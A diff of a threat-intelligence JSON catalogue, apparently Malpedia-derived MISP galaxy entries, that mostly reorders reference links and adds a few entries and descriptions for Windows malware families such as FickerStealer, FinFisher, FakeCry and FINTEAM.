"https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware", - "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], @@ -23925,15 +25035,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer", - "https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", "https://twitter.com/3xp0rtblog/status/1509601846494695438", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://ke-la.com/information-stealers-a-new-landscape/", + "https://securityintelligence.com/news/eternity-gang-ransomware-as-a-service-telegram/", "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on", "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", - "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://securityintelligence.com/news/eternity-gang-ransomware-as-a-service-telegram/", + "https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/", "https://blog.morphisec.com/nft-malware-new-evasion-abilities" ], "synonyms": [], @@ -23947,8 +25057,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_worm", - "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], @@ -23962,9 +25072,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot", - "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise", "https://www.secureworks.com/research/threat-profiles/bronze-globe", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", + "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise" ], "synonyms": [ "HighTide" @@ -23994,8 +25104,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilextractor", - "https://www.netresec.com/?page=Blog&month=2023-04&post=EvilExtractor-Network-Forensics", - "https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer" + "https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer", + "https://www.netresec.com/?page=Blog&month=2023-04&post=EvilExtractor-Network-Forensics" ], "synonyms": [], "type": [] @@ -24009,8 +25119,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn" ], "synonyms": [ "Vidgrab" @@ -24025,13 +25135,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum", + "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", + "https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions", + "https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A", "https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities", "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions", - "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", - "https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A" + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [], "type": [] @@ -24040,7 +25150,7 @@ "value": "EVILNUM (Windows)" }, { - "description": "A wiper used against in an attack against Iran’s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.", + "description": "A wiper used against in an attack against Iran\u2019s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout", @@ -24085,13 +25195,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel", - "https://www.wired.com/story/sandworm-centreon-russia-hack/", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.wired.com/story/sandworm-centreon-russia-hack/", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://attack.mitre.org/groups/G0034" + "https://attack.mitre.org/groups/G0034", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf" ], "synonyms": [], "type": [] @@ -24104,7 +25214,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exbyte", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/" ], "synonyms": [], "type": [] @@ -24134,8 +25245,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://github.com/nccgroup/Royal_APT", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT" ], "synonyms": [], "type": [] @@ -24162,9 +25273,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter", "https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool", - "https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack", "https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", + "https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack", "https://twitter.com/knight0x07/status/1461787168037240834?s=20" ], "synonyms": [], @@ -24174,7 +25285,7 @@ "value": "ExMatter" }, { - "description": "Ransomware.", + "description": "According to PCrisk, Exorcist is a ransomware-type malicious program. Systems infected with this malware experience data encryption and users receive ransom demands for decryption. During the encryption process, all compromised files are appended with an extension consisting of a ransom string of characters.\r\n\r\nFor example, a file originally named \"1.jpg\" could appear as something similar to \"1.jpg.rnyZoV\" following encryption. After this process is complete, Exorcist ransomware changes the desktop wallpaper and drops HTML applications - \"[random-string]-decrypt.hta\" (e.g. \"rnyZoV-decrypt.hta\") - into affected folders. These files contain identical ransom messages.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exorcist", @@ -24191,11 +25302,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro", "https://youtu.be/3RYbkORtFnk", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro", "https://github.com/GiacomoFerro/malware-analysis/blob/master/report/report-malware.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/", "https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/" + "https://medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d" ], "synonyms": [ "Xpiro" @@ -24223,15 +25335,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat", - "https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1", - "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html", - "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html", - "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", - "https://citizenlab.ca/2015/12/packrat-report/", "https://blogs.360.cn/post/APT-C-44.html", - "https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017", + "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html", "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", - "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat" + "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat", + "https://citizenlab.ca/2015/12/packrat-report/", + "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", + "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html", + "https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017", + "https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1" ], "synonyms": [ "ExtRat" @@ -24246,8 +25358,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid", - "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/", - "http://blog.talosintel.com/2017/01/Eye-Pyramid.html" + "http://blog.talosintel.com/2017/01/Eye-Pyramid.html", + "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/" ], "synonyms": [], "type": [] @@ -24260,10 +25372,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice", + "https://www.epicturla.com/blog/the-lost-nazar", + "https://blog.malwarelab.pl/posts/nazar_eyservice/", "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://blog.malwarelab.pl/posts/nazar_eyservice/", - "https://www.epicturla.com/blog/the-lost-nazar", "https://blog.malwarelab.pl/posts/nazar_eyservice_comm/" ], "synonyms": [], @@ -24277,8 +25389,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie", - "https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/", - "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1" + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/" ], "synonyms": [], "type": [] @@ -24286,14 +25398,27 @@ "uuid": "782aa125-42ff-4ca0-b9b1-362aac08566b", "value": "Fabookie" }, + { + "description": "Malware written in .NET that mimics WannaCry.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakecry", + "https://securelist.com/in-expetrpetyas-shadow-fakecry-ransomware-wave-hits-ukraine/78973/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c9ac3322-c176-444c-8d72-603430dca2d0", + "value": "FakeCry" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean", "https://0x3asecurity.wordpress.com/2015/11/30/134260124544/", - "https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv", + "https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf" ], "synonyms": [ "Braviax" @@ -24308,8 +25433,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc", - "http://www.welivesecurity.com/2015/07/30/operation-potao-express/", - "https://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf", + "http://www.welivesecurity.com/2015/07/30/operation-potao-express/" ], "synonyms": [], "type": [] @@ -24350,13 +25475,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny", - "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", + "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", - "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/" + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/" ], "synonyms": [ "DEMENTIAWHEEL" @@ -24384,8 +25509,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer", - "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/", "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", + "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/", "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/" ], "synonyms": [], @@ -24398,6 +25523,7 @@ "description": "FastLoader is a small .NET downloader, which name comes from PDB strings seen in samples. It typically downloads TrickBot. It may create a list of processes and uploads it together with screenshot(s). In more recent versions, it employs simple anti-analysis checks (VM detection) and comes with string obfuscations. \r\n", "meta": { "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader", "https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader" ], "synonyms": [], @@ -24412,10 +25538,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos", "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/", - "http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf", "http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf", - "https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568", - "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/" + "http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/", + "https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568" ], "synonyms": [], "type": [] @@ -24428,12 +25554,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat", + "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", + "https://www.proofpoint.com/us/blog/threat-insight/chinese-malware-appears-earnest-across-cybercrime-threat-landscape", "https://www.youtube.com/watch?v=gjvnVZc11Vg", "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", - "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html" + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" + ], + "synonyms": [ + "Sainbox RAT" ], - "synonyms": [], "type": [] }, "uuid": "28697d08-27c0-47a9-bfd6-654cac4d55cc", @@ -24527,10 +25656,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo", "http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html", - "http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html", - "https://en.wikipedia.org/wiki/Maksim_Yakubets", "https://feodotracker.abuse.ch/", - "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/" + "http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html", + "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/", + "https://en.wikipedia.org/wiki/Maksim_Yakubets" ], "synonyms": [ "Bugat", @@ -24546,8 +25675,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider", - "https://thehackernews.com/2022/04/researchers-warn-of-ffdroider-and.html", - "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users" + "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", + "https://thehackernews.com/2022/04/researchers-warn-of-ffdroider-and.html" ], "synonyms": [], "type": [] @@ -24556,18 +25685,18 @@ "value": "FFDroider" }, { - "description": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we’ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", + "description": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we\u2019ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://twitter.com/3xp0rtblog/status/1321209656774135810", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", "https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://twitter.com/3xp0rtblog/status/1321209656774135810", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", "https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/", + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], @@ -24594,8 +25723,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail" ], "synonyms": [], "type": [] @@ -24621,9 +25750,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blogs.cisco.com/security/talos/poseidon", "https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/", - "https://blogs.cisco.com/security/talos/poseidon" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "Poseidon" @@ -24638,28 +25767,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher", + "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", "https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization", + "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", + "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", - "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues", - "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", - "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2", + "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", + "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization", "https://netzpolitik.org/2022/nach-pfaendung-staatstrojaner-hersteller-finfisher-ist-geschlossen-und-bleibt-es-auch/", - "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", - "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization", - "https://github.com/RolfRolles/FinSpyVM", - "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization", + "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "https://github.com/RolfRolles/FinSpyVM", "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", - "https://securelist.com/finspy-unseen-findings/104322/" + "https://securelist.com/finspy-unseen-findings/104322/", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues" ], "synonyms": [ "FinSpy" @@ -24669,6 +25798,21 @@ "uuid": "541b64bc-87ec-4cc2-aaee-329355987853", "value": "FinFisher RAT" }, + { + "description": "Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer.\r\nThis is achieved by sideloading another DLL among the legit TeamViewer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.finteam", + "https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/" + ], + "synonyms": [ + "TeamBot" + ], + "type": [] + }, + "uuid": "045469d0-5bb2-4ed9-9ee2-a0a08f437433", + "value": "FINTEAM" + }, { "description": "", "meta": { @@ -24700,8 +25844,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili", - "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", - "https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits" + "https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits", + "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html" ], "synonyms": [], "type": [] @@ -24753,9 +25897,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/", "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", - "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", - "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/" + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021" ], "synonyms": [ "JollyJellyfish" @@ -24770,18 +25914,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fivehands", - "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", + "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/", "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", + 